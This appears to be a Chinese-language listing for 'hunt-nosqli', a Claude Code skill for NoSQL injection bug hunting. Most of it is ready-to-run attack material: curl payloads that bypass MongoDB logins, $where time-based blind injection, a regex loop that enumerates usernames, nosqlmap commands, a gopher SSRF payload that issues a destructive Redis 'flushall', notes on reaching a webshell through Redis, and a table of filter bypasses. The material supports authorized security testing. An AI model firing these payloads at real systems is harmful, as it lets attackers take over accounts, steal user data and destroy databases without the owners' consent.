关于 hunt-nosqli
hunt-nosqli 是面向安全测试人员的 NoSQL 注入漏洞狩猎技能,涵盖认证绕过、盲注、数据枚举及 Redis 等相关攻击面,并提供测试和验证步骤。
主要功能
- 01识别 NoSQL 注入攻击面
- 02测试 MongoDB 认证绕过与操作符注入
- 03通过时序或正则查询检测盲注
- 04枚举数据并测试 Redis 攻击路径
适用场景
- 01检查登录接口是否可被绕过
- 02测试查询参数与 JSON 输入注入
- 03验证盲注并枚举可访问数据
- 04评估 SSRF 到 Redis 的攻击链
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-nosqli安装后在 Claude Code 中输入/hunt-nosqli确认已加载。
详细介绍
HUNT-NOSQLI — NoSQL 注入
皇冠级目标
NoSQL 注入的价值最高的情形是绕过身份验证(严重)或泄露整个用户集合(高危)。
价值最高的攻击链:
- MongoDB 身份验证绕过 —
{"username": {"$gt": ""}, "password": {"$gt": ""}}会以集合中的第一个用户身份登录(通常是管理员) - $where JS 注入 — 如果启用了 $where:盲注 → 数据窃取
- Redis 命令注入 — 通过 SSRF 或直接 TCP,SLAVEOF 攻击者 IP → 写入配置 → Webshell
- Elasticsearch 注入 — _search 端点存在 Groovy 脚本注入(5.0 之前)→ RCE
攻击面信号
URL 和参数模式
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
技术栈信号
| 信号 | 攻击向量 |
|---|---|
| 响应中出现 MongoDB 错误消息 | 操作符注入 |
| JS 资源包中出现 mongoose / monk | ODM 模式 |
| X-Powered-By: Express | Node.js + MongoDB 常见技术栈 |
| CouchDB/_utils UI 暴露 | Futon/Fauxton 管理界面 |
| Redis 端口 6379 开放(通过 SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 开放 | 脚本注入 |
分步测试方法
阶段 1 — 身份验证绕过(MongoDB)
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
阶段 2 — URL 参数注入
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
阶段 3 — $where 盲注(基于时间)
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
阶段 3b — 向拼接的 $where/查询中注入语法(字符串上下文)
当应用将输入拼接到 JS $where 字符串中("this.name=='"+input+"'"),而非接受操作符对象时,应打破字符串,而不是传入 $gt/$ne。先进行模糊测试,再尝试打破字符串:
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
' || '1'=='1 # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
(PortSwigger:向 NoSQL 查询中注入语法。)
阶段 4 — 通过正则表达式转储数据
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
阶段 5 — 自动化
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
阶段 6 — 通过 SSRF 攻击 Redis
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
绕过表
| 防御措施 | 绕过方式 |
|---|---|
| JSON.parse 拒绝对象 | 使用数组:password[$ne]=x(URL 参数) |
清理 $ | 使用 Unicode:$gt |
| 阻止操作符键 | 在结构更深层嵌套对象 |
攻击链表
| NoSQLi 发现 | 后续攻击 | 影响 |
|---|---|---|
| 身份验证绕过 | 访问管理面板 | 完全控制管理员权限 |
| 通过正则表达式枚举用户 | 凭据填充攻击 | 大规模 ATO |
| 启用 $where | 在数据库进程中执行任意 JS | 数据窃取或 DoS |
| 通过 SSRF 攻击 Redis | CONFIG SET / SLAVEOF | Webshell 或数据窃取 |
验证
✅ 身份验证绕过:无需有效凭据即可登录,并获得有效会话令牌 ✅ 数据转储:返回了你无权访问的用户/文档 ✅ 盲注:通过时间延迟确认(持续稳定地超过 4 秒)
严重性:
- 以管理员身份绕过身份验证:严重
- 转储用户集合:高危
- 盲注(无法有效窃取数据):中危
评论
支持 Markdown